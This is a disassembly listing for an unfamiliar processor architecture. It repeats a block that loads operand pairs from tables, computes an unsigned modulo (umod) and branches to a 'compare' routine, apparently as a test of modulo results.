3e0c: 0d 42 b6 18 wl16 r16,0x15b8
3e10: 0d 60 02 03 wh16 r16,0x3
3e14: 10 40 02 10 ld32 r16,r16
3e18: 0d 44 d5 34 wl16 r9,0x26b4
3e1c: 0d 60 01 23 wh16 r9,0x3
3e20: 10 40 01 29 ld32 r9,r9
3e24: 00 a0 01 10 umod r8,r16
3e28: 20 70 03 e2 movepc rret,8
3e2c: 14 30 f0 79 br 10 <compare>,#al
3e30: 00 10 00 41 add r2,1
3e34: 0d 40 99 00 wl16 r8,0x4c0
3e38: 0d 60 01 03 wh16 r8,0x3
3e3c: 10 40 01 08 ld32 r8,r8
3e40: 0d 42 b6 1c wl16 r16,0x15bc
3e44: 0d 60 02 03 wh16 r16,0x3
3e48: 10 40 02 10 ld32 r16,r16
3e4c: 0d 44 d5 38 wl16 r9,0x26b8
3e50: 0d 60 01 23 wh16 r9,0x3
3e54: 10 40 01 29 ld32 r9,r9
3e58: 00 a0 01 10 umod r8,r16
3e5c: 20 70 03 e2 movepc rret,8
3e60: 14 30 f0 6c br 10 <compare>,#al
3e64: 00 10 00 41 add r2,1
3e68: 0d 40 99 04 wl16 r8,0x4c4
3e6c: 0d 60 01 03 wh16 r8,0x3
3e70: 10 40 01 08 ld32 r8,r8
3e74: 0d 42 ba 00 wl16 r16,0x15c0
3e78: 0d 60 02 03 wh16 r16,0x3
3e7c: 10 40 02 10 ld32 r16,r16
3e80: 0d 44 d5 3c wl16 r9,0x26bc
3e84: 0d 60 01 23 wh16 r9,0x3
3e88: 10 40 01 29 ld32 r9,r9
3e8c: 00 a0 01 10 umod r8,r16
3e90: 20 70 03 e2 movepc rret,8
3e94: 14 30 f0 5f br 10 <compare>,#al
3e98: 00 10 00 41 add r2,1
3e9c: 0d 40 99 08 wl16 r8,0x4c8
3ea0: 0d 60 01 03 wh16 r8,0x3
3ea4: 10 40 01 08 ld32 r8,r8
3ea8: 0d 42 ba 04 wl16 r16,0x15c4
3eac: 0d 60 02 03 wh16 r16,0x3
3eb0: 10 40 02 10 ld32 r16,r16
3eb4: 0d 44 d9 20 wl16 r9,0x26c0
3eb8: 0d 60 01 23 wh16 r9,0x3
3ebc: 10 40 01 29 ld32 r9,r9
3ec0: 00 a0 01 10 umod r8,r16
3ec4: 20 70 03 e2 movepc rret,8
3ec8: 14 30 f0 52 br 10 <compare>,#al
3ecc: 00 10 00 41 add r2,1
3ed0: 0d 40 99 0c wl16 r8,0x4cc
3ed4: 0d 60 01 03 wh16 r8,0x3
3ed8: 10 40 01 08 ld32 r8,r8
3edc: 0d 42 ba 08 wl16 r16,0x15c8
3ee0: 0d 60 02 03 wh16 r16,0x3
3ee4: 10 40 02 10 ld32 r16,r16
3ee8: 0d 44 d9 24 wl16 r9,0x26c4
3eec: 0d 60 01 23 wh16 r9,0x3
3ef0: 10 40 01 29 ld32 r9,r9
3ef4: 00 a0 01 10 umod r8,r16
3ef8: 20 70 03 e2 movepc rret,8
3efc: 14 30 f0 45 br 10 <compare>,#al
3f00: 00 10 00 41 add r2,1
3f04: 0d 40 99 10 wl16 r8,0x4d0
3f08: 0d 60 01 03 wh16 r8,0x3
3f0c: 10 40 01 08 ld32 r8,r8
3f10: 0d 42 ba 0c wl16 r16,0x15cc
3f14: 0d 60 02 03 wh16 r16,0x3
3f18: 10 40 02 10 ld32 r16,r16
3f1c: 0d 44 d9 28 wl16 r9,0x26c8
3f20: 0d 60 01 23 wh16 r9,0x3
3f24: 10 40 01 29 ld32 r9,r9
3f28: 00 a0 01 10 umod r8,r16
3f2c: 20 70 03 e2 movepc rret,8
3f30: 14 30 f0 38 br 10 <compare>,#al
3f34: 00 10 00 41 add r2,1
3f38: 0d 40 99 14 wl16 r8,0x4d4
3f3c: 0d 60 01 03 wh16 r8,0x3
3f40: 10 40 01 08 ld32 r8,r8
3f44: 0d 42 ba 10 wl16 r16,0x15d0
3f48: 0d 60 02 03 wh16 r16,0x3
3f4c: 10 40 02 10 ld32 r16,r16
3f50: 0d 44 d9 2c wl16 r9,0x26cc
3f54: 0d 60 01 23 wh16 r9,0x3
3f58: 10 40 01 29 ld32 r9,r9
3f5c: 00 a0 01 10 umod r8,r16
3f60: 20 70 03 e2 movepc rret,8
3f64: 14 30 f0 2b br 10 <compare>,#al
3f68: 00 10 00 41 add r2,1
3f6c: 0d 40 99 18 wl16 r8,0x4d8
3f70: 0d 60 01 03 wh16 r8,0x3
3f74: 10 40 01 08 ld32 r8,r8
3f78: 0d 42 ba 14 wl16 r16,0x15d4
3f7c: 0d 60 02 03 wh16 r16,0x3
3f80: 10 40 02 10 ld32 r16,r16
3f84: 0d 44 d9 30 wl16 r9,0x26d0
3f88: 0d 60 01 23 wh16 r9,0x3
3f8c: 10 40 01 29 ld32 r9,r9
3f90: 00 a0 01 10 umod r8,r16
3f94: 20 70 03 e2 movepc rret,8
3f98: 14 30 f0 1e br 10 <compare>,#al
3f9c: 00 10 00 41 add r2,1
3fa0: 0d 40 99 1c wl16 r8,0x4dc
3fa4: 0d 60 01 03 wh16 r8,0x3
3fa8: 10 40 01 08 ld32 r8,r8
3fac: 0d 42 ba 18 wl16 r16,0x15d8
3fb0: 0d 60 02 03 wh16 r16,0x3
3fb4: 10 40 02 10 ld32 r16,r16
3fb8: 0d 44 d9 34 wl16 r9,0x26d4
3fbc: 0d 60 01 23 wh16 r9,0x3
3fc0: 10 40 01 29 ld32 r9,r9
3fc4: 00 a0 01 10 umod r8,r16
3fc8: 20 70 03 e2 movepc rret,8
3fcc: 14 30 f0 11 br 10 <compare>,#al
3fd0: 00 10 00 41 add r2,1
3fd4: 0d 40 9d 00 wl16 r8,0x4e0
3fd8: 0d 60 01 03 wh16 r8,0x3
3fdc: 10 40 01 08 ld32 r8,r8
3fe0: 0d 42 ba 1c wl16 r16,0x15dc
3fe4: 0d 60 02 03 wh16 r16,0x3
3fe8: 10 40 02 10 ld32 r16,r16
3fec: 0d 44 d9 38 wl16 r9,0x26d8
3ff0: 0d 60 01 23 wh16 r9,0x3
3ff4: 10 40 01 29 ld32 r9,r9
3ff8: 00 a0 01 10 umod r8,r16
3ffc: 20 70 03 e2 movepc rret,8
4000: 14 30 f0 04 br 10 <compare>,#al
4004: 00 10 00 41 add r2,1
4008: 0d 40 9d 04 wl16 r8,0x4e4
400c: 0d 60 01 03 wh16 r8,0x3
4010: 10 40 01 08 ld32 r8,r8
4014: 0d 42 be 00 wl16 r16,0x15e0
4018: 0d 60 02 03 wh16 r16,0x3
401c: 10 40 02 10 ld32 r16,r16
4020: 0d 44 d9 3c wl16 r9,0x26dc
4024: 0d 60 01 23 wh16 r9,0x3
4028: 10 40 01 29 ld32 r9,r9
402c: 00 a0 01 10 umod r8,r16
4030: 20 70 03 e2 movepc rret,8
4034: 14 30 ef f7 br 10 <compare>,#al
4038: 00 10 00 41 add r2,1
403c: 0d 40 9d 08 wl16 r8,0x4e8
4040: 0d 60 01 03 wh16 r8,0x3
4044: 10 40 01 08 ld32 r8,r8
4048: 0d 42 be 04 wl16 r16,0x15e4
404c: 0d 60 02 03 wh16 r16,0x3
4050: 10 40 02 10 ld32 r16,r16
4054: 0d 44 dd 20 wl16 r9,0x26e0
4058: 0d 60 01 23 wh16 r9,0x3
405c: 10 40 01 29 ld32 r9,r9
4060: 00 a0 01 10 umod r8,r16
4064: 20 70 03 e2 movepc rret,8
4068: 14 30 ef ea br 10 <compare>,#al
406c: 00 10 00 41 add r2,1
4070: 0d 40 9d 0c wl16 r8,0x4ec
4074: 0d 60 01 03 wh16 r8,0x3
4078: 10 40 01 08 ld32 r8,r8
407c: 0d 42 be 08 wl16 r16,0x15e8
4080: 0d 60 02 03 wh16 r16,0x3
4084: 10 40 02 10 ld32 r16,r16
4088: 0d 44 dd 24 wl16 r9,0x26e4
408c: 0d 60 01 23 wh16 r9,0x3
4090: 10 40 01 29 ld32 r9,r9
4094: 00 a0 01 10 umod r8,r16
4098: 20 70 03 e2 movepc rret,8
409c: 14 30 ef dd br 10 <compare>,#al
40a0: 00 10 00 41 add r2,1
40a4: 0d 40 9d 10 wl16 r8,0x4f0
40a8: 0d 60 01 03 wh16 r8,0x3
40ac: 10 40 01 08 ld32 r8,r8
40b0: 0d 42 be 0c wl16 r16,0x15ec
40b4: 0d 60 02 03 wh16 r16,0x3
40b8: 10 40 02 10 ld32 r16,r16
40bc: 0d 44 dd 28 wl16 r9,0x26e8
40c0: 0d 60 01 23 wh16 r9,0x3
40c4: 10 40 01 29 ld32 r9,r9
40c8: 00 a0 01 10 umod r8,r16
40cc: 20 70 03 e2 movepc rret,8
40d0: 14 30 ef d0 br 10 <compare>,#al
40d4: 00 10 00 41 add r2,1
40d8: 0d 40 9d 14 wl16 r8,0x4f4
40dc: 0d 60 01 03 wh16 r8,0x3
40e0: 10 40 01 08 ld32 r8,r8
40e4: 0d 42 be 10 wl16 r16,0x15f0
40e8: 0d 60 02 03 wh16 r16,0x3
40ec: 10 40 02 10 ld32 r16,r16
40f0: 0d 44 dd 2c wl16 r9,0x26ec
40f4: 0d 60 01 23 wh16 r9,0x3
40f8: 10 40 01 29 ld32 r9,r9
40fc: 00 a0 01 10 umod r8,r16
4100: 20 70 03 e2 movepc rret,8
4104: 14 30 ef c3 br 10 <compare>,#al
4108: 00 10 00 41 add r2,1
410c: 0d 40 9d 18 wl16 r8,0x4f8
4110: 0d 60 01 03 wh16 r8,0x3
4114: 10 40 01 08 ld32 r8,r8
4118: 0d 42 be 14 wl16 r16,0x15f4
411c: 0d 60 02 03 wh16 r16,0x3
4120: 10 40 02 10 ld32 r16,r16
4124: 0d 44 dd 30 wl16 r9,0x26f0
4128: 0d 60 01 23 wh16 r9,0x3
412c: 10 40 01 29 ld32 r9,r9
4130: 00 a0 01 10 umod r8,r16
4134: 20 70 03 e2 movepc rret,8
4138: 14 30 ef b6 br 10 <compare>,#al
413c: 00 10 00 41 add r2,1
4140: 0d 40 9d 1c wl16 r8,0x4fc
4144: 0d 60 01 03 wh16 r8,0x3
4148: 10 40 01 08 ld32 r8,r8
414c: 0d 42 be 18 wl16 r16,0x15f8
4150: 0d 60 02 03 wh16 r16,0x3
4154: 10 40 02 10 ld32 r16,r16
4158: 0d 44 dd 34 wl16 r9,0x26f4
415c: 0d 60 01 23 wh16 r9,0x3
4160: 10 40 01 29 ld32 r9,r9
4164: 00 a0 01 10 umod r8,r16
4168: 20 70 03 e2 movepc rret,8
416c: 14 30 ef a9 br 10 <compare>,#al
4170: 00 10 00 41 add r2,1
4174: 0d 40 a1 00 wl16 r8,0x500
4178: 0d 60 01 03 wh16 r8,0x3
417c: 10 40 01 08 ld32 r8,r8
4180: 0d 42 be 1c wl16 r16,0x15fc
4184: 0d 60 02 03 wh16 r16,0x3
4188: 10 40 02 10 ld32 r16,r16
418c: 0d 44 dd 38 wl16 r9,0x26f8
4190: 0d 60 01 23 wh16 r9,0x3
4194: 10 40 01 29 ld32 r9,r9
4198: 00 a0 01 10 umod r8,r16
419c: 20 70 03 e2 movepc rret,8
41a0: 14 30 ef 9c br 10 <compare>,#al
41a4: 00 10 00 41 add r2,1
41a8: 0d 40 a1 04 wl16 r8,0x504
41ac: 0d 60 01 03 wh16 r8,0x3
41b0: 10 40 01 08 ld32 r8,r8
41b4: 0d 42 c2 00 wl16 r16,0x1600
41b8: 0d 60 02 03 wh16 r16,0x3
41bc: 10 40 02 10 ld32 r16,r16
41c0: 0d 44 dd 3c wl16 r9,0x26fc
41c4: 0d 60 01 23 wh16 r9,0x3
41c8: 10 40 01 29 ld32 r9,r9
41cc: 00 a0 01 10 umod r8,r16
41d0: 20 70 03 e2 movepc rret,8
41d4: 14 30 ef 8f br 10 <compare>,#al
41d8: 00 10 00 41 add r2,1
41dc: 0d 40 a1 08 wl16 r8,0x508
41e0: 0d 60 01 03 wh16 r8,0x3
41e4: 10 40 01 08 ld32 r8,r8
41e8: 0d 42 c2 04 wl16 r16,0x1604
41ec: 0d 60 02 03 wh16 r16,0x3
41f0: 10 40 02 10 ld32 r16,r16
41f4: 0d 44 e1 20 wl16 r9,0x2700
41f8: 0d 60 01 23 wh16 r9,0x3
41fc: 10 40 01 29 ld32 r9,r9
4200: 00 a0 01 10 umod r8,r16
4204: 20 70 03 e2 movepc rret,8
4208: 14 30 ef 82 br 10 <compare>,#al
420c: 00 10 00 41 add r2,1
4210: 0d 40 a1 0c wl16 r8,0x50c
4214: 0d 60 01 03 wh16 r8,0x3
4218: 10 40 01 08 ld32 r8,r8
421c: 0d 42 c2 08 wl16 r16,0x1608
4220: 0d 60 02 03 wh16 r16,0x3
4224: 10 40 02 10 ld32 r16,r16
4228: 0d 44 e1 24 wl16 r9,0x2704
422c: 0d 60 01 23 wh16 r9,0x3
4230: 10 40 01 29 ld32 r9,r9
4234: 00 a0 01 10 umod r8,r16
4238: 20 70 03 e2 movepc rret,8
423c: 14 30 ef 75 br 10 <compare>,#al
4240: 00 10 00 41 add r2,1
4244: 0d 40 a1 10 wl16 r8,0x510
4248: 0d 60 01 03 wh16 r8,0x3
424c: 10 40 01 08 ld32 r8,r8
4250: 0d 42 c2 0c wl16 r16,0x160c
4254: 0d 60 02 03 wh16 r16,0x3
4258: 10 40 02 10 ld32 r16,r16
425c: 0d 44 e1 28 wl16 r9,0x2708
4260: 0d 60 01 23 wh16 r9,0x3
4264: 10 40 01 29 ld32 r9,r9
4268: 00 a0 01 10 umod r8,r16
426c: 20 70 03 e2 movepc rret,8
4270: 14 30 ef 68 br 10 <compare>,#al
4274: 00 10 00 41 add r2,1
4278: 0d 40 a1 14 wl16 r8,0x514
427c: 0d 60 01 03 wh16 r8,0x3
4280: 10 40 01 08 ld32 r8,r8
4284: 0d 42 c2 10 wl16 r16,0x1610
4288: 0d 60 02 03 wh16 r16,0x3
428c: 10 40 02 10 ld32 r16,r16
4290: 0d 44 e1 2c wl16 r9,0x270c
4294: 0d 60 01 23 wh16 r9,0x3
4298: 10 40 01 29 ld32 r9,r9
429c: 00 a0 01 10 umod r8,r16
42a0: 20 70 03 e2 movepc rret,8
42a4: 14 30 ef 5b br 10 <compare>,#al
42a8: 00 10 00 41 add r2,1
42ac: 0d 40 a1 18 wl16 r8,0x518
42b0: 0d 60 01 03 wh16 r8,0x3
42b4: 10 40 01 08 ld32 r8,r8
42b8: 0d 42 c2 14 wl16 r16,0x1614
42bc: 0d 60 02 03 wh16 r16,0x3
42c0: 10 40 02 10 ld32 r16,r16
42c4: 0d 44 e1 30 wl16 r9,0x2710
42c8: 0d 60 01 23 wh16 r9,0x3
42cc: 10 40 01 29 ld32 r9,r9
42d0: 00 a0 01 10 umod r8,r16
42d4: 20 70 03 e2 movepc rret,8
42d8: 14 30 ef 4e br 10 <compare>,#al
42dc: 00 10 00 41 add r2,1
42e0: 0d 40 a1 1c wl16 r8,0x51c
42e4: 0d 60 01 03 wh16 r8,0x3
42e8: 10 40 01 08 ld32 r8,r8
42ec: 0d 42 c2 18 wl16 r16,0x1618
42f0: 0d 60 02 03 wh16 r16,0x3
42f4: 10 40 02 10 ld32 r16,r16
42f8: 0d 44 e1 34 wl16 r9,0x2714
42fc: 0d 60 01 23 wh16 r9,0x3
4300: 10 40 01 29 ld32 r9,r9
4304: 00 a0 01 10 umod r8,r16
4308: 20 70 03 e2 movepc rret,8
430c: 14 30 ef 41 br 10 <compare>,#al
4310: 00 10 00 41 add r2,1
4314: 0d 40 a5 00 wl16 r8,0x520
4318: 0d 60 01 03 wh16 r8,0x3
431c: 10 40 01 08 ld32 r8,r8
4320: 0d 42 c2 1c wl16 r16,0x161c
4324: 0d 60 02 03 wh16 r16,0x3
4328: 10 40 02 10 ld32 r16,r16
432c: 0d 44 e1 38 wl16 r9,0x2718
4330: 0d 60 01 23 wh16 r9,0x3
4334: 10 40 01 29 ld32 r9,r9
4338: 00 a0 01 10 umod r8,r16
433c: 20 70 03 e2 movepc rret,8
4340: 14 30 ef 34 br 10 <compare>,#al
4344: 00 10 00 41 add r2,1
4348: 0d 40 a5 04 wl16 r8,0x524
434c: 0d 60 01 03 wh16 r8,0x3
4350: 10 40 01 08 ld32 r8,r8
4354: 0d 42 c6 00 wl16 r16,0x1620
4358: 0d 60 02 03 wh16 r16,0x3
435c: 10 40 02 10 ld32 r16,r16
4360: 0d 44 e1 3c wl16 r9,0x271c
4364: 0d 60 01 23 wh16 r9,0x3
4368: 10 40 01 29 ld32 r9,r9
436c: 00 a0 01 10 umod r8,r16
4370: 20 70 03 e2 movepc rret,8
4374: 14 30 ef 27 br 10 <compare>,#al
4378: 00 10 00 41 add r2,1
437c: 0d 40 a5 08 wl16 r8,0x528
4380: 0d 60 01 03 wh16 r8,0x3
4384: 10 40 01 08 ld32 r8,r8
4388: 0d 42 c6 04 wl16 r16,0x1624
438c: 0d 60 02 03 wh16 r16,0x3
4390: 10 40 02 10 ld32 r16,r16
4394: 0d 44 e5 20 wl16 r9,0x2720
4398: 0d 60 01 23 wh16 r9,0x3
439c: 10 40 01 29 ld32 r9,r9
43a0: 00 a0 01 10 umod r8,r16
43a4: 20 70 03 e2 movepc rret,8
43a8: 14 30 ef 1a br 10 <compare>,#al
43ac: 00 10 00 41 add r2,1
43b0: 0d 40 a5 0c wl16 r8,0x52c
43b4: 0d 60 01 03 wh16 r8,0x3
43b8: 10 40 01 08 ld32 r8,r8
43bc: 0d 42 c6 08 wl16 r16,0x1628
43c0: 0d 60 02 03 wh16 r16,0x3
43c4: 10 40 02 10 ld32 r16,r16
43c8: 0d 44 e5 24 wl16 r9,0x2724
43cc: 0d 60 01 23 wh16 r9,0x3
43d0: 10 40 01 29 ld32 r9,r9
43d4: 00 a0 01 10 umod r8,r16
43d8: 20 70 03 e2 movepc rret,8
43dc: 14 30 ef 0d br 10 <compare>,#al
43e0: 00 10 00 41 add r2,1
43e4: 0d 40 a5 10 wl16 r8,0x530
43e8: 0d 60 01 03 wh16 r8,0x3
43ec: 10 40 01 08 ld32 r8,r8
43f0: 0d 42 c6 0c wl16 r16,0x162c
43f4: 0d 60 02 03 wh16 r16,0x3
43f8: 10 40 02 10 ld32 r16,r16
43fc: 0d 44 e5 28 wl16 r9,0x2728
4400: 0d 60 01 23 wh16 r9,0x3
4404: 10 40 01 29 ld32 r9,r9
4408: 00 a0 01 10 umod r8,r16
440c: 20 70 03 e2 movepc rret,8
4410: 14 30 ef 00 br 10 <compare>,#al
4414: 00 10 00 41 add r2,1
4418: 0d 40 a5 14 wl16 r8,0x534
441c: 0d 60 01 03 wh16 r8,0x3
4420: 10 40 01 08 ld32 r8,r8
4424: 0d 42 c6 10 wl16 r16,0x1630
4428: 0d 60 02 03 wh16 r16,0x3
442c: 10 40 02 10 ld32 r16,r16
4430: 0d 44 e5 2c wl16 r9,0x272c
4434: 0d 60 01 23 wh16 r9,0x3
4438: 10 40 01 29 ld32 r9,r9
443c: 00 a0 01 10 umod r8,r16
4440: 20 70 03 e2 movepc rret,8
4444: 14 30 ee f3 br 10 <compare>,#al
4448: 00 10 00 41 add r2,1
444c: 0d 40 a5 18 wl16 r8,0x538
4450: 0d 60 01 03 wh16 r8,0x3
4454: 10 40 01 08 ld32 r8,r8
4458: 0d 42 c6 14 wl16 r16,0x1634
445c: 0d 60 02 03 wh16 r16,0x3
4460: 10 40 02 10 ld32 r16,r16
4464: 0d 44 e5 30 wl16 r9,0x2730
4468: 0d 60 01 23 wh16 r9,0x3
446c: 10 40 01 29 ld32 r9,r9
4470: 00 a0 01 10 umod r8,r16
4474: 20 70 03 e2 movepc rret,8
4478: 14 30 ee e6 br 10 <compare>,#al
447c: 00 10 00 41 add r2,1
4480: 0d 40 a5 1c wl16 r8,0x53c
4484: 0d 60 01 03 wh16 r8,0x3
4488: 10 40 01 08 ld32 r8,r8
448c: 0d 42 c6 18 wl16 r16,0x1638
4490: 0d 60 02 03 wh16 r16,0x3
4494: 10 40 02 10 ld32 r16,r16
4498: 0d 44 e5 34 wl16 r9,0x2734
449c: 0d 60 01 23 wh16 r9,0x3
44a0: 10 40 01 29 ld32 r9,r9
44a4: 00 a0 01 10 umod r8,r16
44a8: 20 70 03 e2 movepc rret,8
44ac: 14 30 ee d9 br 10 <compare>,#al
44b0: 00 10 00 41 add r2,1
44b4: 0d 40 a9 00 wl16 r8,0x540
44b8: 0d 60 01 03 wh16 r8,0x3
44bc: 10 40 01 08 ld32 r8,r8
44c0: 0d 42 c6 1c wl16 r16,0x163c
44c4: 0d 60 02 03 wh16 r16,0x3
44c8: 10 40 02 10 ld32 r16,r16
44cc: 0d 44 e5 38 wl16 r9,0x2738
44d0: 0d 60 01 23 wh16 r9,0x3
44d4: 10 40 01 29 ld32 r9,r9
44d8: 00 a0 01 10 umod r8,r16
44dc: 20 70 03 e2 movepc rret,8
44e0: 14 30 ee cc br 10 <compare>,#al
44e4: 00 10 00 41 add r2,1
44e8: 0d 40 a9 04 wl16 r8,0x544
44ec: 0d 60 01 03 wh16 r8,0x3
44f0: 10 40 01 08 ld32 r8,r8
44f4: 0d 42 ca 00 wl16 r16,0x1640
44f8: 0d 60 02 03 wh16 r16,0x3
44fc: 10 40 02 10 ld32 r16,r16
4500: 0d 44 e5 3c wl16 r9,0x273c
4504: 0d 60 01 23 wh16 r9,0x3
4508: 10 40 01 29 ld32 r9,r9
450c: 00 a0 01 10 umod r8,r16
4510: 20 70 03 e2 movepc rret,8
4514: 14 30 ee bf br 10 <compare>,#al
4518: 00 10 00 41 add r2,1
451c: 0d 40 a9 08 wl16 r8,0x548
4520: 0d 60 01 03 wh16 r8,0x3
4524: 10 40 01 08 ld32 r8,r8
4528: 0d 42 ca 04 wl16 r16,0x1644
452c: 0d 60 02 03 wh16 r16,0x3
4530: 10 40 02 10 ld32 r16,r16
4534: 0d 44 e9 20 wl16 r9,0x2740
4538: 0d 60 01 23 wh16 r9,0x3
453c: 10 40 01 29 ld32 r9,r9
4540: 00 a0 01 10 umod r8,r16
4544: 20 70 03 e2 movepc rret,8
4548: 14 30 ee b2 br 10 <compare>,#al
454c: 00 10 00 41 add r2,1
4550: 0d 40 a9 0c wl16 r8,0x54c
4554: 0d 60 01 03 wh16 r8,0x3
4558: 10 40 01 08 ld32 r8,r8
455c: 0d 42 ca 08 wl16 r16,0x1648
4560: 0d 60 02 03 wh16 r16,0x3
4564: 10 40 02 10 ld32 r16,r16
4568: 0d 44 e9 24 wl16 r9,0x2744
456c: 0d 60 01 23 wh16 r9,0x3
4570: 10 40 01 29 ld32 r9,r9
4574: 00 a0 01 10 umod r8,r16
4578: 20 70 03 e2 movepc rret,8
457c: 14 30 ee a5 br 10 <compare>,#al
4580: 00 10 00 41 add r2,1
4584: 0d 40 a9 10 wl16 r8,0x550
4588: 0d 60 01 03 wh16 r8,0x3
458c: 10 40 01 08 ld32 r8,r8
4590: 0d 42 ca 0c wl16 r16,0x164c
4594: 0d 60 02 03 wh16 r16,0x3
4598: 10 40 02 10 ld32 r16,r16
459c: 0d 44 e9 28 wl16 r9,0x2748
45a0: 0d 60 01 23 wh16 r9,0x3
45a4: 10 40 01 29 ld32 r9,r9
45a8: 00 a0 01 10 umod r8,r16
45ac: 20 70 03 e2 movepc rret,8
45b0: 14 30 ee 98 br 10 <compare>,#al
45b4: 00 10 00 41 add r2,1
45b8: 0d 40 a9 14 wl16 r8,0x554
45bc: 0d 60 01 03 wh16 r8,0x3
45c0: 10 40 01 08 ld32 r8,r8
45c4: 0d 42 ca 10 wl16 r16,0x1650
45c8: 0d 60 02 03 wh16 r16,0x3
45cc: 10 40 02 10 ld32 r16,r16
45d0: 0d 44 e9 2c wl16 r9,0x274c
45d4: 0d 60 01 23 wh16 r9,0x3
45d8: 10 40 01 29 ld32 r9,r9
45dc: 00 a0 01 10 umod r8,r16
45e0: 20 70 03 e2 movepc rret,8
45e4: 14 30 ee 8b br 10 <compare>,#al
45e8: 00 10 00 41 add r2,1
45ec: 0d 40 a9 18 wl16 r8,0x558
45f0: 0d 60 01 03 wh16 r8,0x3
45f4: 10 40 01 08 ld32 r8,r8
45f8: 0d 42 ca 14 wl16 r16,0x1654
45fc: 0d 60 02 03 wh16 r16,0x3
4600: 10 40 02 10 ld32 r16,r16
4604: 0d 44 e9 30 wl16 r9,0x2750
4608: 0d 60 01 23 wh16 r9,0x3
460c: 10 40 01 29 ld32 r9,r9
4610: 00 a0 01 10 umod r8,r16
4614: 20 70 03 e2 movepc rret,8
4618: 14 30 ee 7e br 10 <compare>,#al
461c: 00 10 00 41 add r2,1
4620: 0d 40 a9 1c wl16 r8,0x55c
4624: 0d 60 01 03 wh16 r8,0x3
4628: 10 40 01 08 ld32 r8,r8
462c: 0d 42 ca 18 wl16 r16,0x1658
4630: 0d 60 02 03 wh16 r16,0x3
4634: 10 40 02 10 ld32 r16,r16
4638: 0d 44 e9 34 wl16 r9,0x2754
463c: 0d 60 01 23 wh16 r9,0x3
4640: 10 40 01 29 ld32 r9,r9
4644: 00 a0 01 10 umod r8,r16
4648: 20 70 03 e2 movepc rret,8
464c: 14 30 ee 71 br 10 <compare>,#al
4650: 00 10 00 41 add r2,1
4654: 0d 40 ad 00 wl16 r8,0x560
4658: 0d 60 01 03 wh16 r8,0x3
465c: 10 40 01 08 ld32 r8,r8
4660: 0d 42 ca 1c wl16 r16,0x165c
4664: 0d 60 02 03 wh16 r16,0x3
4668: 10 40 02 10 ld32 r16,r16
466c: 0d 44 e9 38 wl16 r9,0x2758
4670: 0d 60 01 23 wh16 r9,0x3
4674: 10 40 01 29 ld32 r9,r9
4678: 00 a0 01 10 umod r8,r16
467c: 20 70 03 e2 movepc rret,8
4680: 14 30 ee 64 br 10 <compare>,#al
4684: 00 10 00 41 add r2,1
4688: 0d 40 ad 04 wl16 r8,0x564
468c: 0d 60 01 03 wh16 r8,0x3
4690: 10 40 01 08 ld32 r8,r8
4694: 0d 42 ce 00 wl16 r16,0x1660
4698: 0d 60 02 03 wh16 r16,0x3
469c: 10 40 02 10 ld32 r16,r16
46a0: 0d 44 e9 3c wl16 r9,0x275c
46a4: 0d 60 01 23 wh16 r9,0x3
46a8: 10 40 01 29 ld32 r9,r9
46ac: 00 a0 01 10 umod r8,r16
46b0: 20 70 03 e2 movepc rret,8
46b4: 14 30 ee 57 br 10 <compare>,#al
46b8: 00 10 00 41 add r2,1
46bc: 0d 40 ad 08 wl16 r8,0x568
46c0: 0d 60 01 03 wh16 r8,0x3
46c4: 10 40 01 08 ld32 r8,r8
46c8: 0d 42 ce 04 wl16 r16,0x1664
46cc: 0d 60 02 03 wh16 r16,0x3
46d0: 10 40 02 10 ld32 r16,r16
46d4: 0d 44 ed 20 wl16 r9,0x2760
46d8: 0d 60 01 23 wh16 r9,0x3
46dc: 10 40 01 29 ld32 r9,r9
46e0: 00 a0 01 10 umod r8,r16
46e4: 20 70 03 e2 movepc rret,8
46e8: 14 30 ee 4a br 10 <compare>,#al
46ec: 00 10 00 41 add r2,1
46f0: 0d 40 ad 0c wl16 r8,0x56c
46f4: 0d 60 01 03 wh16 r8,0x3
46f8: 10 40 01 08 ld32 r8,r8
46fc: 0d 42 ce 08 wl16 r16,0x1668
4700: 0d 60 02 03 wh16 r16,0x3
4704: 10 40 02 10 ld32 r16,r16
4708: 0d 44 ed 24 wl16 r9,0x2764
470c: 0d 60 01 23 wh16 r9,0x3
4710: 10 40 01 29 ld32 r9,r9
4714: 00 a0 01 10 umod r8,r16
4718: 20 70 03 e2 movepc rret,8
471c: 14 30 ee 3d br 10 <compare>,#al
4720: 00 10 00 41 add r2,1
4724: 0d 40 ad 10 wl16 r8,0x570
4728: 0d 60 01 03 wh16 r8,0x3
472c: 10 40 01 08 ld32 r8,r8
4730: 0d 42 ce 0c wl16 r16,0x166c
4734: 0d 60 02 03 wh16 r16,0x3
4738: 10 40 02 10 ld32 r16,r16
473c: 0d 44 ed 28 wl16 r9,0x2768
4740: 0d 60 01 23 wh16 r9,0x3
4744: 10 40 01 29 ld32 r9,r9
4748: 00 a0 01 10 umod r8,r16
474c: 20 70 03 e2 movepc rret,8
4750: 14 30 ee 30 br 10 <compare>,#al
4754: 00 10 00 41 add r2,1
4758: 0d 40 ad 14 wl16 r8,0x574
475c: 0d 60 01 03 wh16 r8,0x3
4760: 10 40 01 08 ld32 r8,r8
4764: 0d 42 ce 10 wl16 r16,0x1670
4768: 0d 60 02 03 wh16 r16,0x3
476c: 10 40 02 10 ld32 r16,r16
4770: 0d 44 ed 2c wl16 r9,0x276c
4774: 0d 60 01 23 wh16 r9,0x3
4778: 10 40 01 29 ld32 r9,r9
477c: 00 a0 01 10 umod r8,r16
4780: 20 70 03 e2 movepc rret,8
4784: 14 30 ee 23 br 10 <compare>,#al
4788: 00 10 00 41 add r2,1
478c: 0d 40 ad 18 wl16 r8,0x578
4790: 0d 60 01 03 wh16 r8,0x3
4794: 10 40 01 08 ld32 r8,r8
4798: 0d 42 ce 14 wl16 r16,0x1674
479c: 0d 60 02 03 wh16 r16,0x3
47a0: 10 40 02 10 ld32 r16,r16
47a4: 0d 44 ed 30 wl16 r9,0x2770
47a8: 0d 60 01 23 wh16 r9,0x3
47ac: 10 40 01 29 ld32 r9,r9
47b0: 00 a0 01 10 umod r8,r16
47b4: 20 70 03 e2 movepc rret,8
47b8: 14 30 ee 16 br 10 <compare>,#al
47bc: 00 10 00 41 add r2,1
47c0: 0d 40 ad 1c wl16 r8,0x57c
47c4: 0d 60 01 03 wh16 r8,0x3
47c8: 10 40 01 08 ld32 r8,r8
47cc: 0d 42 ce 18 wl16 r16,0x1678
47d0: 0d 60 02 03 wh16 r16,0x3
47d4: 10 40 02 10 ld32 r16,r16
47d8: 0d 44 ed 34 wl16 r9,0x2774
47dc: 0d 60 01 23 wh16 r9,0x3
47e0: 10 40 01 29 ld32 r9,r9
47e4: 00 a0 01 10 umod r8,r16
